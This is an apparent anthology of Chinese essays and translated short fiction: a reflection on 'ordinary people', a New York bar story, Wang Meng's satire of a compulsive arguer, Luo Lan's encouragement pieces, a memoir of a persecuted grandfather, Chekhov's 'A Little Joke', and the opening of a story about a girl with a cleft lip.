　　我告诉她，国情不同，故所谓平凡之人的生活质量和社会地位，不能同日而语。我说你是出身于几代的中产阶级的人，所以你所指的平凡的人，当然是中产阶级人士。中产阶级在你们那儿是多数。平民反而是少数。美国这架国家机器，一向特别在乎你们中产阶级，亦即你所言的平凡的人们的感觉。我说你们的平凡的生活，是有房有车的生活。而一个人只要有了一份稳定的工作，过上那样的生活并不特别难。居然不能，倒是不怎么平凡的现象了。而在我们中国，那是不平凡的人生的象征。对平凡的如此不同的态度，是两国的平均生活水平所决定了的。正如中国的知识化了的青年做梦却想到美国去，自己和别人以为将会追求到不平凡的人生，而实际上，即使跻身于美国的中产阶级了，也只不过是追求到了一种美国的平凡之人的人生罢了……

　　当时联想到了本文开篇那名学子的话，不禁替平凡着、普通着的中国人，心生出种种的悲凉。想那学子，必也出身于寒门；其父其母，必也平凡得不能再平凡普通得不能再普通。不然，断不至于对平凡那么的慌恐。

　　也联想到了我十几年前伴两位老作家出访法国，通过翻译与马赛市名五十余岁的清洁工的交谈。

　　我问他算是法国的哪一种人？

　　他说，他自然是一个平凡得不能再平凡，普通得不能再普通的人。

　　我问他羡慕那些资产阶级么？

　　他奇怪地反问为什么？

　　是啊，他的奇怪一点儿也不奇怪。他有一幢带花园的漂亮的二层小房子；他有两辆车，一辆是环境部门配给他的小卡车，一辆是他自己的小卧车；他的工作性质在别人眼里并不低下，每天给城市各处的鲜花浇水和换下电线杆上那些枯萎的花来而已；他受到应有的尊敬，人们叫他“马赛的美容师”。

　　所以，他才既平凡着，又满足着。甚而，简直还可以说活得不无幸福感。

　　我也联想到了德国某市那位每周定时为市民扫烟囱的市长。不知德国究竟有几位市长兼干那一种活计。反正不止一位是肯定的了。因为有另一位同样干那一种活计的市长到过中国，还访问过我。因为他除了给市民扫烟囱，还是作家。他会几句中国话，向我耸着肩诚实地说——市长的薪水并不高，所以需要为家庭多挣一笔钱。那么说时，一点儿也不觉得有什么不好意思……

　　马赛的一名清洁工，你能说他是一个不平凡的人么？德国的一位市长，你能说他极其普通么？然而在这两种人之间，平凡与不平凡的差异缩小了，模糊了。因而在所谓社会地位上，接近着实质性的平等了。因而平凡在他们那儿不怎么会成为一个困扰人心的问题。

　　当社会还无法满足普遍的平凡的人们的基本拥有愿望时，文化的最清醒的那一部分思想，应时时刻刻提醒着社会来关注此点。而不是反过来用所谓不平凡的人们的种种生活方式刺激前者。尤其是，当普遍的平凡的人们的人生能动性，在社会转型期受到惯力的严重甩掷，失去重心而处于茫然状态时，文化的最清醒的那一部分思想，不可错误地认为他们已经不再是地位处于社会第一位置的人们了。

　　无论过去，现在，还是将来，平凡而普通的人们，永远是一个国家的绝大多数人。任何一个国家存在的意义，都首先是以他们的存在为存在的先决条件的。

　　一半以上不平凡的人皆出自于平凡的人之间。

　　这一点对于任何一个国家都是同样的。

　　因而平凡的人们的心理状态，在一定程度上几乎成为不平凡的人们的心理基因。

　　倘文化暗示平凡的人们其实是失败的人们，这的确能使某些平凡的人们通过各种方式变成较为“不平凡”的人；而从广大的心理健康的、乐观的、豁达的、平凡的人们的阶层中，也能自然而然地产生较为“不平凡”的人们。后一种“不平凡”的人们，综合素质将比前一种“不平凡”的人们方方面面都优良许多。因为他们之所以“不平凡”起来，并非由于害怕平凡。所以他们“不平凡”起来以后，也仍会觉得自己们其实很平凡。

　　而一个连不平凡的人们都觉得自己们其实很平凡的人们组成的国家，它的前途才真的是无量的。反之，若一个国家里有太多这样的人——只不过将在别国极平凡的人生的状态，当成在本国证明自己是成功者的样板，那么这个国家是患着虚热症的。好比一个人脸色红彤彤的，不一定是健康；也可能是肝火，也可能是结核晕。

　　我们的文化，近年以各种方式向我们介绍了太多太多的所谓“不平凡”的人士们了，而且，最终往往的，对他们的“不平凡”的评价总是会落在他们的资产和身价上。这是一种穷怕了的国家经历的文化方面的后遗症。以至于某些呼风唤雨于一时的“不平凡”的人，转眼就变成了些行径苟且的，欺世盗名的，甚至罪状重叠的人。

　　一个许许多多人恐慌于平凡的社会，必层出如上的“不平凡”之人。

　　而文化如果不去关注和强调平凡者们第一位置的社会地位，尽管他们看去很弱，似乎已不值得文化分心费神——那么，这样的文化，也就只有忙不迭地不遗余力地去为“不平凡”起来的人们大唱赞歌了，并且在“较高级”的利益方面与他们联系在一起。于是眼睁睁不见他们之中某些人“不平凡”之可疑。

　　这乃是中国包括传媒在内的文化界、思想界，包括某些精英们在内的界想界的一种势利眼病……

这两个流浪汉要不是穷，就会花钱大方

约翰 · 麦克纳尔蒂

　　谁都不晓得对走进来的人，这间酒馆的老板怎么那么快就能做出判断，但是他的确能，比如对那两个流浪汉，他们是在一个星期天下午从第三大道拐进来的。

　　当时是星期天下午的一段时间，老顾客称之为“祷告时间”，是在四点钟左右，星期六晚上喝醉又醒酒迟的人一个接一个进来。他们一直那样，每个人把自己变成一个小岛，站在吧台前，人人两侧都留了些空间，就像水围着小岛。这些宿醉未醒的人感觉很糟糕，没法聊天，反正得再过一两个钟头才可以。他们每个人都盯着吧台后面的镜子自言自语：“瞧瞧你吧，你永远会一事无成。你上了学，长大成人，什么什么的，现在瞧瞧你，你永远会一事无成。”第三大道上的资深酒保称这是跟镜子吵架，他们都觉得这样做对一个人很不好。几个宿醉未醒的人这样做时，里面悲伤而安静，所以有人给星期天下午的这段时间起了个外号，叫“祷告时间”。

　　老板当时亲自在吧台服务，这个星期天下午，他又在戒酒，所以站在吧台后面，几乎一句话都不说。他不喝酒时脾气不好，因为他这个人，不喝酒就感觉不大对劲。

　　两个流浪汉走了进来，他们的脚似乎是摇椅的底架，走路方式就像竞走，跟被打得头晕眼花的拳击手那样，先是脚后根着地，然后过渡至脚尖离地，就像摇椅从后往前摇那样。不过他们可绝对不会是拳击手，长得太单薄了，耳朵也没有开花（*指拳击者多次挨打而变形的耳朵）。

　　他们是“抓挠”流浪汉。在这一带，人们称落魄到底的人为“抓挠”流浪汉，这种人甚至不去理会自己身上长了臭虫，所以叫“抓挠”流浪汉。

　　其中一个流浪汉头上戴了顶可以说是草帽吧，从哪儿捡来的，很可能是从时髦街区的垃圾桶里，属于以前被称为“花生草帽”的那种，看着像给太阳晒得颜色变深的巴拿马草帽。那顶帽子有着很时髦的宽帽檐，衬着那个“抓挠”流浪汉的衣服，一副滑稽的样子。另外一个流浪汉腋下夹着一个合着的雪茄烟盒，天知道是干吗的，始终没人能搞清楚。两个流浪汉挽着胳膊进来，几乎悄无声息。

　　老板抽了口烟又放下，他准备让流浪汉马上转身走人时，就会那样做，但是他还没开口，两个流浪汉就到了吧台前。他们用自己的摇椅底架式双脚走到吧台前，其中一个流浪汉——满脸愁容的那个——从口袋里摸索出两枚五分硬币推到吧台上。

　　“一杯葡萄酒多少钱？”那个流浪汉问道，就连那几个宿醉未醒的人也听到了他的话，露出吃惊的表情。在这一带，几乎从来没人会点葡萄酒，除了也许在圣诞节时，有些不喝酒的人会因为是圣诞节而放开一下，点葡萄酒喝。酒吧里有葡萄酒，只是充门面，所以那个流浪汉点葡萄酒时，两个宿醉未醒的人看着他，老板也看着他。老板像是不相信自己的耳朵，不过他回答说：“哎，葡萄酒是两角五分。”老板说。他把两枚低值镍币推回流浪汉面前。

　　“哦！”那个流浪汉说，就那么“哦”了一下。他拿起两枚硬币，跟他的伙伴转身就要出去。他们往门口走了两步，就在这时，老板突然喊了声：“嗨，等一下！”一边晃动一根手指，示意他们回来。

　　好了，两个流浪汉站在那里，纳闷会有什么事。老板走到吧台那头，向后面伸手取过两个最漂亮的葡萄酒杯，擦掉了上面的灰尘。他兴致很高地把两个杯子放到吧台上，两个流浪汉面前。在这里，他们把进口的东西——因为在打仗，不容易弄到——放在储藏柜里，老板又走过去从柜子里拎出一瓶进口的西班牙雪利酒，不是垃圾酒，而是真正的好货色，这里最好的。他走到两个流浪汉面前，倒了满满两杯，然后说：“干掉吧，伙计，欢迎！”

　　你也许会以为两个流浪汉会吃上一惊，可是他们没有显得那样。就像对待任何别的事一样，他们的态度不卑不亢，端起酒杯，慢慢地把葡萄酒喝了。

　　“谢谢您，先生。”戴着阔边帽的那个说，“我们不再打扰您了。”两个人用手背慢慢擦了擦嘴巴，转身从吧台走到门口。两个流浪汉一副矜持的样子。

　　“哎，你他妈到底干吗要那么做？”一个宿醉未醒的人问老板。

　　“别管我干吗要那么做。”老板暴躁地说，“那两个伙计几千块钱都肯花，要不是他们连两角五分钱都没有，只有两个五分硬币。别管我干吗要那么做。”

　　有一阵子，老板一直在抽烟，根本不去管那几个宿醉未醒的人。过了几分钟，他竟然又去吧台那头，把他的帽子拿过来，对着镜子，把帽子这样戴了那样戴。

　　“我真希望，”他说，“我能把这顶帽子戴得像那个流浪汉一样。哎，他那样戴，可不他妈的有型极了？”

　　摘自《第三大道的这间酒馆》

雄辩症

王蒙

　　话说某公在患厚皮逻辑症之后，经过手术削皮，看上去皮薄了些，然而这只是“锯箭法”，治标没治本，不久皮又长厚了。更让人不解的是，此公在服了《逻辑学》之后，出现新的症状。

　　一日，此公又来到医院。正好这天在医院就诊的患者寥若辰星。

　　医生说：“请坐！”

　　此公说：“为什么要坐呢？难道你要剥夺我不坐的权利吗？”

　　医生无可奈何，知道此公曾有过的事情，于是倒了一杯水给他，说：“请喝水吧。”

　　此公说：“这样谈问题是片面的，因而是荒谬的。不是所有的水都能喝。假如你在水中搀入氰化钾，就绝对不能喝。”

　　医生说：“我这里并没有放毒药嘛。你放心！”

　　此公说：“谁说你放了毒药？难道我诬陷你放了毒药？难道检察院的起诉书上说你放了毒药？我没说你放毒药，而你说我放了毒药，你这才是放了比毒药更毒的毒药！”

　　医生毫无办法，便叹了一口气，换一个话题说：“今天天气不错。”

　　此公说：“纯粹是胡说八道！你这里天气不错吗？即使是天气不错，并不等于全世界的天气不错，比如北极就在刮寒风，漫漫长夜，冰山正在撞击……”

　　医生说：“我说的今天天气不错，一般是指本地，不是全球嘛。大家也都是这么理解的嘛！”

　　此公说：“大家都理解的难道就一定是正确的吗？大家认为对的就一定是对的吗？如果公众的价值观出现问题，那真是可悲的事情，比如文革就是这样。要知道真理有时就掌握在少数人手里。”

　　医生已经有厌烦了，忍不住和他辩起来：“难道真理就掌握在你手里？”

　　此公说：“你的理解，我看是很平凡的，你们这些医生都给人看病，唯有我是被看病的，我虽属少数人，但我也没说真理就在我手里呀？”

　　医生说：“我们医生都是平凡的人，你是不平凡的人，不平凡的人也会得病，也要我平凡的人来治病。”

　　此公说：“我不平凡的人即使得病，也是得不平凡的病。”

　　医生说：“对！你得的是不平凡的病。”

　　此公说：“你才得病了呢，我说过我得了病吗？”

　　医生说：“你没病来医院干嘛？”

　　此公说：“我没病不可以来医院吗？医院是公众场所，我无权来吗？”

　　医生说：“你可以来，现在你可以回去了。”

　　此公说：“你无权命令我走，你是医生，职业道德不允许你赶我走。”

　　医生说：“医生的职业道德是对病人而言。闲杂人等都跑到医院来，医院不成了公园么？”

　　此公说：“你没有调查研究，怎么就知道我没病吗？难道我就不是病人吗？”

　　医生说：“你不是说你没有病吗？”

　　此公说：“难道我说的话就一定正确吗，难道我说过我没病吗？”

　　医生说：“我不用调查研究也知道你有病了。”

　　此公说：“你没有调查研究就没有发言权。因此，你这是在骂人！”

　　医生摇了摇头说：“你的病我治不了，你去找其他的医生给你看吧。”

　　此公说：“你们医生都是穿一条裤子，木秀于林，风必吹之，那位医生都会说我有病的。”

　　医生无可奈何：“既然大家都说你有病，那你肯定是有病的，你大概不知道，还有木‘朽’于林，风不吹也自烂一说呢。”

　　此公说：“你们都说我有病，难道就我一个人有病，你们就没有病？”

　　医生苦笑着说：“你、我、还有其他医生都有病，好么！不要再说了！”

　　此公说：“你难道要剥夺我的话语权吗？”

　　医生说：“好！好！你有说话的权利。”

　　此公说：“不对！我还有不说的权利！”

　　医生说：“那你就坐下继续说吧，说累了，就喝点水。”

　　此公说：“这样谈问题是片面的，因而是荒谬的。不是所有的水都能喝。假如你在水中搀入氰化钾，就绝对不能喝。”

　　医生说：“我这里并没有放毒药嘛。你放心！”

　　刚说完，医生心想，又转回去了，看来今天无穷无尽。于是苦笑着说：“今天真倒霉……”

　　此公说：“你还是医生吗？你知道医生的职业道德吗？怎么可以这样说话？”

　　医生说：“那你就少废话，让我给你瞧病吧？”

　　此公说：“谁说我有病？你没有调查研究就没有发言权！”

　　医生心头一惊，进入狗咬尾巴的逻辑怪圈了，因此就闭口不语。

　　此公说：“你为什么不说话？”

　　医生说：“我为什么要说？你难道要剥夺我不说话的权利吗？”

　　此公说：“那你就喝点水吧。”

　　医生说：“这样谈问题是片面的，因而是荒谬的。不是所有的水都能喝。假如你在水中搀入氰化钾，就绝对不能喝。”

　　医生忽然感觉到，这话原是从此公嘴里吐出来的，自己怎么传染到了呢，就差点没晕倒在地上……

　　第二天，医生找到院长，说：“本人虽是主治大夫，但因某些特殊患者的病症——雄辩症的出现，本人深深感觉到知识的贫乏，无法给病人治病，想脱产去进修哲学、逻辑学。”

　　院长说：“就为一个特殊的病人？”

　　医生说：“特殊病人就不是病人吗？你可以剥夺特殊病人治病的权利吗？难道医院只是为了大多数人开设的吗？如此歧视特殊病人是没有道理的！假如你是特殊病人，你需要治疗吗？”

　　院长一听，一屁股瘫在沙发上，怔了半天才回过神来，慢慢地说出一句话：“我看你已经有雄辩的能力了，不用再去进修，否则我这老院长也得去进修。”

给失败者

罗兰

　　一个人在刚受到某些打击的时候，是会格外消沉的。“在那一段时间里，你会觉得自己像个拳击失败的选手，被那重重的一拳击倒在地上，头昏眼花，满耳都是观众的嘲笑，和那失败的感觉。在那个时候，你会觉得你简直不想爬起来了！觉得你已经没有力气爬起来了！

　　可是，你会爬起来的。不管是在裁判数到十之前，还是之后。而且，你慢慢会恢复体力，创伤会平复，你的眼睛会再度张开来，看见前途光明。

　　你会淡忘掉那观众的嘲笑，和那阵失败的耻辱。你会为自己找一条合适的路——不要再去做挨拳头的选手。

　　你既然不适于在擂台上争胜，你该沉下心去找一找，找到一个其他的方向。在这一方面，你可以争胜。或者，不说争胜，你可以平安，可以快乐，可以没有失败的羞辱。

　　不要理会别人的观念！有些人是中了一点魔道，迷信那辉煌的虚名，而不注意每个人独特的专长。

　　劝你不要紧张！这些日子，你灰心失望，是必然的现象。你需要时间，让自己恢复神智和体力。

　　放轻松一些。过些时，再去重新找一个正确的方向，再去努力。最近这些天，你不妨找点自己喜欢的事情做做，把烦恼写在日记上。等过一阵之后，你会发现，那失败的痛楚已经逐渐痊愈，那时你会有新的勇气和力量去为自己开拓新的前程。

　　祝你成功！

　　一切迂回的路都决不白费。在人生途中，你每走一步，就必定会得一步的经验。不管这一步是对还是错，“对”有对的收获，“错”有错的教训。绕远路，走错路的结果，你就恰如迷路走入深山，别人为你危险焦急惋惜之际，你却采集了一些珍奇的花果，获得了一些罕见的鸟兽。而且你多认了一段路，多锻炼出一分坚强与胆量。

　　一帆风顺固然值得羡慕，但那天赐的幸运不可多得，可遇而不可求。唯一稳当可靠的是自己心中的指南针。无论你绕了多远，无论你被阻挡得多么严密，只要你不忘记你的方向，你就有走到目标的一天。

何处不相逢

罗兰

　　有一句俗话说，人生何处不相逢。有时我们觉得这个世界很大，人与人间的聚合须靠着难得的运气或机缘。没有缘的，一生一世也未必见得到一次面。可是，也有时候，我们会觉得这个世界很小。碰来碰去都是熟人。本来彼此不认识的，谈了一阵之后，还可能会发现。

　　——啊！原来你和某某人认识啊！或者还会发现，彼此竟然是亲戚。于是，大家会又感叹又欣慰地说：这个世界太小了！

　　不管这世界是大还是小，人与人的遇合总是很难预料的。也许有那朝思暮想希望见见面的人，偏偏总是阴错阳差碰不到一起。也许有那唯恐碰在一块的人，偏偏冤家路窄越躲越会碰上。

　　曾经有一位先生，去投考某大公司。他抱着很大的希望和信心去参加了考试，一切都很顺利。本来录取的希望很大，可是，没想到负责命题和阅卷评分的人是他以前所得罪过的一位先生。于是，这条路就走不通了。

　　当初，他得罪这位先生的时候，两个人原来是同事。不久之后，两人都另外找到工作，辞职离去。那时，本来想，从今以后，大家分道扬镶，谁也不会再碍谁的事了。没想到，几年之后，会在这种微妙的机会下碰在一起。只因为当初一时地闹意气，而影响到日后自己的前途，真是有苦说不出。

　　人生何处不相逢！不要以为世界大，道路多，得罪了的人，可以永远不再见面。常常我们会发现，人们总是在那几条路上挤来挤去，说不定什么时候就又会碰到一起。想到这里，我们也许会了悟，忍一时的气，让人一步，并不算是吃亏了吧？

你在那里

王梅

　　我没见过你，连梦里都没有。你是我的爷爷，站在你面前，我要这般叫你。我想这么叫你时，你早不在了，我还未出生时你就不在了。

　　记得工作后，我填写过很多张履历表，在上面一遍遍写过和你有关的一个地名，这是我的籍贯。我从没去过的地方，我不认识的这个遥远的陌生地，就这样让我一次次在纸上重温。世上好些东西可能都有无法割裂的定数，就像身上的胎记，即便微小如沙砾，也不能抹去。

　　我们从来就不是毫不相干，形同陌路。还在幼年，我就隐隐感觉过你的存在。我没见过你的容貌、听过你的声音、触摸过你的肌肤，也没被你牵着手，在热闹的大街穿过人群一起走一走，要知道这样特别的日常和温暖，曾是我多么渴望的一件事。正是这点念想，让我对一个平常的称呼有些耿耿于怀。记得那时我常有一些东西让同学们眼巴巴羡慕，口袋里包着彩色玻璃纸的糖果，崭新的笔记本，扎在小辫子上的蝴蝶结，飞旋的陀螺，这些都是奶奶、姑姑、姐姐、哥哥给的。他们欣羡的目光总让我自鸣得意。可是有个秘密谁也不会知道，其实我反而羡慕他们，因为我没有你，哪怕像他们贪玩儿忘了回家被你满操场叫唤然后拉到身前的一声呵斥，我连你笑容里布满皱纹的记忆都没有。莫名的怅然若失，成了残缺的月亮挂在黄昏的天上，跟我独自走在放学的路上，看我百无聊赖地踢一块石子回家。

　　这次，我来到了你坟前。一路而来，路途显得漫长而遥远。故乡对我的爸爸和伯伯叔叔们来说，早成了遥远的异地，更遑论于我。我像打量陌生人一样打量眼前所见，连去坟地时经过山坡上的一草一木，对我都生疏得隔着太远的距离。这样，一步步走进山里，最后，你的归地，刻着你名字的石碑，出现在我面前。

　　四周都是山，没有人烟，除了风吹树之外只有阳光洒下的影子。我忽然觉得，你真是好孤独，奶奶的坟不在这里，也没有你的兄弟姊妹，你一个人在这里这么多年。

　　我见过你的一张照片，背面有“民国三十二年”的字样。我不禁从心里赞叹，你长得多好啊。高高大大，一副书生相貌，看上去一脸的斯文，骨子里却透着难以言喻的儒雅淡定，这样的模样是我生逢的年代久不见到的了。我在相片外看你时，你好像也在看着我，露着淡淡的笑意，这令我不由生出无端的惶恐，前面正有大难，风雨欲来，而你还全然不知。

　　那个年代竟会是这样。俨然冬天里一夜寒风，肃杀中的树木在天没亮之前便无以抵抗地凋零了。一切都来得有些阴冷，让人毫无防备。你天真地“鸣放”，把所看到的现状和盘托出，没有丝毫隐讳。你无非说了自己想说的话，却不知说真话要付出代价。现实社会和心中理想从来都难以两全，而你却非要在这场风雨中两者兼得，并驰一途，等到两马分途而奔，怎能逃脱车裂之殇？

　　爸爸与你的最后一面，成了他日后反复出现的一个噩梦。他从东北赶回乡下看你时，正是冬日。草棚里，除了寒冷，你成为一个需要劳动改造的人。爸爸都快哭了。你叫他回去，不要再来。你还叮嘱他，叫奶奶尽快把全家迁到别处，去找在某县城工作的大伯。爸爸心里有了不祥预感，他害怕再也见不到你了，不过他心里仍抱着一丝幻想，说不定等到过年，一家人依然能团聚在一起吃年夜饭。可是没能熬过冬天，他还是收到了从南方传来的死讯。

　　不知时日，不知死法，比知道更有无尽的不安和悲凉。你离去时竟是如此寂寞，没有一个亲人在身旁，谁也不知你还有哪些话要叮嘱却无法相托。

　　姑姑说，有年奶奶把她压在箱底结婚时穿的旗袍改做了我的小棉袄。可惜这些我都不记得了。我问姑姑，我穿得可曾好看？姑姑说，当然好看了。那么好的料子和花样，穿得很囡囡的。我猜想奶奶年轻时穿旗袍一定温婉至极，就像我在电影里看到的那些民国女子。我还知道她是你的学生，你们像兄妹一样巧合了同一个姓氏。说实在，我对“爱”这个字眼充满怀疑，发生在男女间的这种情感大多时候很像海市蜃楼的幻觉。可是面对你，我宁愿抛开固执长久的成见，相信你和奶奶的情意，就如旗袍上绣着的朵朵盛放不衰的花一样美丽。我有时想，你虽不幸，却也有幸，有幸还有奶奶在，她送你上路，在日后漫长岁月中又孤独一人收拾你留下的满目疮痍的日子。你一定想不到，当她得知噩耗，是怎样连夜带上年幼的六伯踏上去乡下的路。她一心想着把你安顿好，让你最后的离去仍如她看到你活着时的模样，不失人的尊严。这是我一直无法想像的夜晚，从城里到乡下六十多里的路，她抱着孩子一脚一脚地走在深黑的夜里。没有人知道那个夜晚有多少泪痕残留在路上，又有多少沉重的悲伤和黑夜一起坠入深渊。

　　一面埋葬，一面记忆。这是奶奶留下的遗物，都与你有关。因为你，每次外出旅行，我开始对乡野土坡上的坟有了兴趣。它们不是诸如“霜随柳白，月逐坟圆”的大地诗情，如果是这样，那就矫饰了。我不知道别人心里是否也有一座坟的印记，倘若有，是否也和我一样，维系着和逝者的关系，在记忆与忘却中纠缠不尽。

　　这正如你和我。我之前还以为我们生死相离，互不相知，其实你一直就在那里，只因我的无知，漠视了你的存在。你从消失中折回来的气息，如今开始在我周围流动和漫溢。虽然我看不见你，可我知道你在那里。一张相片，一块石碑，几丛荒草在风中摇曳……

捉弄

契诃夫

　　一个晴朗的冬日的中午……天气严寒，冻得树木喀喀作响。娜坚卡挽着我的胳膊，两鬓的鬓发上，嘴上的茸毛上，已经蒙着薄薄的银霜。我们站在一座高山上。从我们脚下到平地伸展着一溜斜坡，在阳光的照耀下，它像镜子一样闪闪发光。在我们身边的地上，放着一副小小的轻便雪橇，蒙着猩红色的绒布。

　　“让我们一块儿滑下去，娜杰日达·彼得罗夫娜！”我央求道，“只滑一次！我向您保证：我们将完整无缺，不伤一根毫毛。”

　　可是娜坚卡害怕。从她那双小小的胶皮套鞋到冰山脚下的这段距离，在她看来就像一个深不可测的可怕地穴。当我刚邀她坐上雪橇时，她往下一看，不禁倒抽一口冷气，连呼吸都停止了。要是她当真冒险飞向深渊，那又会怎么样？她会吓死的，吓疯的。

　　“求求您！”我又说，“用不着害怕！您要明白，您这是缺少毅力，胆怯！”

　　娜坚卡最后让步了，不过看她的脸色我知道，她是冒着生命危险作出让步的。我扶她坐到小雪橇上，一手搂着这个脸色苍白、浑身打颤的姑娘，跟她一道跌进深渊。

　　雪橇飞去，像出膛的子弹。劈开的空气迎面袭来，在耳畔怒吼呼啸，凶狠地撕扯着我们的衣帽，刀割般刺痛我们的脸颊，简直想揪下你肩膀上的脑袋。在风的压力下，我们几乎难以呼吸。像有个魔鬼用铁爪把我们紧紧抓住，咆哮着要把我们拖进地狱里去。周围的景物汇成一条长长的忽闪而过的带子……眼看再过一秒钟，我们就要粉身碎骨了！

　　“我爱你，娜佳！”我小声说。

　　雪橇滑得越来越平缓，风的吼声和滑木的沙沙声已经不那么可怕，呼吸也不再困难，我们终于滑到了山脚下。娜坚卡已经半死不活。她脸色煞白，奄奄一息……我帮她站起身来。

　　“下一回说什么也不滑了，”她睁大一双布满恐惧的眼睛望着我说，“一辈子也不滑了！差点没把我吓死！”

　　过了一会儿，她回过神来，已经怀疑地探察我的眼神：那句话是我说的，或者仅仅是在旋风的呼啸声中她的幻听？我呢，站在她身旁，抽着烟，专心致志地检查我的手套。

　　她挽起我的胳膊，我们在山下又玩了好久。那个谜显然搅得她心绪不宁。那句话是说了吗？说了还是没说？说了还是没说？这可是一个有关她的自尊心、名誉、生命和幸福的问题，非常重要的问题，世界上头等重要的问题。娜坚卡不耐烦地、忧郁地、用那种有穿透力的目光打量我的脸，胡乱地回答我的问话，等着我会不会再说出那句话。啊，在这张可爱的脸上，表情是多么丰富呀，多么丰富！我看得出来，她在竭力控制自己，她想说点什么，提个什么问题，但她找不到词句，她感到别扭，可怕，再者欢乐妨碍她……

　　“您知道吗？”她说，眼睛没有看我。

　　“什么？”我问。

　　“让我们再……再滑一次雪橇。”

　　于是我们沿着阶梯拾级而上。我再一次扶着脸色苍白、浑身打颤的娜坚卡坐上雪橇，我们再一次飞向恐怖的深渊，再一次听到风的呼啸，滑木的沙沙声，而且在雪橇飞得最快、风声最大的当儿，我再一次小声说：

　　“我爱你，娜佳！”

　　雪橇终于停住，娜坚卡立即回头观看我们刚刚滑下来的山坡，随后久久地审视着我的脸，倾听着我那无动于衷、毫无热情的声音，于是她整个人，浑身上下，连她的皮手笼和围巾、帽子在内，无不流露出极度的困惑。她的脸上分明写着：

　　“怎么回事？那句话到底是谁说的？是他，还是我听错了？”

　　这个疑团弄得她心神不定，失去了耐心。可怜的姑娘不回答我的问话，愁眉苦脸，眼看着就要哭出来了。

　　“我们是不是该回家了？”我问她。

　　“可是我……我喜欢这样滑雪，”她涨红着脸说，“我们再滑一次好吗？”

　　虽说她“喜欢”这样滑雪，可是，当她坐上雪橇时，跟前两次一样，她依旧脸色苍白，吓得透不过气来，浑身直打哆嗦。

　　我们第三次飞身滑下，我看到，她一直盯着我的脸，注视着我的嘴唇。可是我用围巾挡住嘴，咳嗽一声，正当我们滑到半山腰时，我又小声说了一句：

　　“我爱你，娜佳！”

　　结果谜依旧是谜！娜坚卡默默不语，想着心事……我从冰场把她送回家，她尽量不出声地走着，放慢脚步，一直期待着我会不会对她再说那句话。我看得出来，她的内心怎样受着煎熬，又怎样竭力克制自己，免得说出：

　　“这句话不可能是风说的！我也不希望是风说的！”

　　第二天上午，我收到一张便条：“如果您今天还去冰场，请顺便来叫我一声。娜。”从此以后，我和娜坚卡几乎天天都去滑雪。当我们坐着雪橇滑下坡时，每一次我总是小声说出那句话：

　　“我爱你，娜佳！”

　　很快娜坚卡对这句话就听上瘾了，就像人对喝酒、服吗啡能上瘾一样。现在缺了这句话她就没法生活了。当然，从山顶上飞身滑下依旧令人胆战心惊，可是此刻的恐惧和危险，反给那句表白爱情的话平添一种特殊的魅力，尽管这句话依旧是个谜，依旧折磨着她的心。受到怀疑的依旧是我和风……这二者中究竟谁向她诉说爱情，她不知道，但后来她显然已经不在乎了——只要喝醉了就成，管它用什么样的杯子喝的呢！

　　一天中午，我独自一人去了冰场。我混在拥挤的人群中，突然发现娜坚卡正朝山脚下走去，东张西望地在寻找我……后来她畏畏缩缩地顺着阶梯往上走……一个人滑下来是很可怕的，唉呀，可怕极了！她脸色白得像雪，战战兢兢地走着，倒像赴刑场一般，但还是走着，头也不回，坚决地走着。她显然打定主意，最后要试一试，身边没有我的时候，还能不能听到那句美妙而甜蜜的话？我看到她脸色苍白，吓得张着嘴，坐上雪橇，闭上眼睛，像向人世告别似的滑下去……“沙沙沙”……滑木发出响声。我不知道娜坚卡是否听到了那句话，我只看到，她从雪橇上站起来时已经摇摇晃晃、有气无力了。看她的脸色可知，连她自己也不知道究竟听到什么没有，她一人滑下时的恐惧夺走了她的听觉，她已经丧失了辨别声音和理解的能力……

　　眼看着早春三月已经来临……阳光变得暖和起来。我们那座冰山渐渐发黑，失去了原有的光彩，最后冰雪都化了。我们也不再去滑雪。可怜的娜坚卡再也听不到那句话，何况也没人对她说了，因为这时已听不到风声，而我正要动身去彼得堡——要去很久，也许一去不复返了。

　　有一回，大约在我动身的前两天，薄暮中我坐在小花园里，这花园同娜坚卡居住的那个院子只隔着一道带钉子的高板墙……天气还相当冷，畜粪下面还有积雪，树木萧条，但已经透出春天的气息，一群白嘴鸦大声贴噪，忙着找旧枝宿夜。我走到板墙跟前，从板缝里一直往里张望。我看到娜坚卡走出门来，站在台阶上，抬起悲凉伤感的目光望着天空……春风吹拂着她那苍白忧郁的脸……这风勾起她的回忆；昔日，在半山腰，正是在呼啸的风声中她听到了那句话。于是她的脸色变得越来越忧郁，两行眼泪夺眶而出……可怜的姑娘张开臂膀，似乎在央求春风再一次给她送来那句话。我等着一阵风刮过去，小声说：

　　“我爱你，娜佳！”

　　我的天哪，娜坚卡起了什么样的变化！她一声欢呼，笑开了脸，迎着风张开臂膀，那么高兴，幸福，真是美丽极了。

　　我走开了，回去收拾行装……

　　这已是很久以前的事了。如今娜坚卡已经出嫁。究竟是出于父母之命，还是她本人的意愿——这无关紧要，她嫁给了贵族监护会的一名秘书，现在已经有了三个孩子。想当年，我们一块儿滑雪，那风送到她耳畔一句话：“我爱你，娜佳！”——这段回忆是永生难忘的。对她来说，这是一生中最幸福、最动人、最美好的回忆……

　　如今我也上了年纪，已经不明白，为什么当初我说了那句话，为什么要捉弄她……

　　一八八六年三月十二日

难忘的八个字

玛丽 · 安 · 伯德

　　随着年龄增长，我发觉自己越来越与众不同。我气恼，我愤恨——怎么会一生下来就是裂唇！我一跨进校门，同学们就开始嘲笑，讽刺我。

　　我心里很清楚，对别人来说我的模样令人厌恶：一个小女孩，有着一副畸形难看的嘴唇，弯曲的鼻子，倾斜的牙齿，说起话来还结巴。因此我越来越敢肯定：除了家里人以外，甚至没人会喜欢我。

　　同学们问我：“你嘴巴怎么会变成这样？”我撒谎说小时候摔了一跤，给地上的碎玻璃割破了嘴巴。我觉得这样说比告诉他们我生出来就是兔唇要好受点吧。

　　二年级时，我进了老师伦纳德夫人的班级。伦纳德夫人很胖，很美，温馨可爱。她有着金光闪闪的头发和一双黑黑的、笑眯眯的眼睛。每个孩子都喜欢她、敬慕她。但是，没有一个人比我更爱她。因为这里有个很不一般的缘故——我们低年级同学每年都有“耳语测验”。孩子们依次走到教室的门边，用右手捂着右边耳朵，然后老师在她的讲台上轻轻说一句话，再由那个孩子把话复述出来。可我的左耳先天失聪，几乎听不见任何声音，我不愿把这事说出来，因为同学们会更加嘲笑我的，或许我就是一个天生的畸形孩儿。

　　不过我有办法对付这种“耳语测验”。早在幼儿园做游戏时，我就发现没人看你是否真正捂住了耳朵，他们只注意你重复的话对不对。所以每次我都假装用手盖紧耳朵。

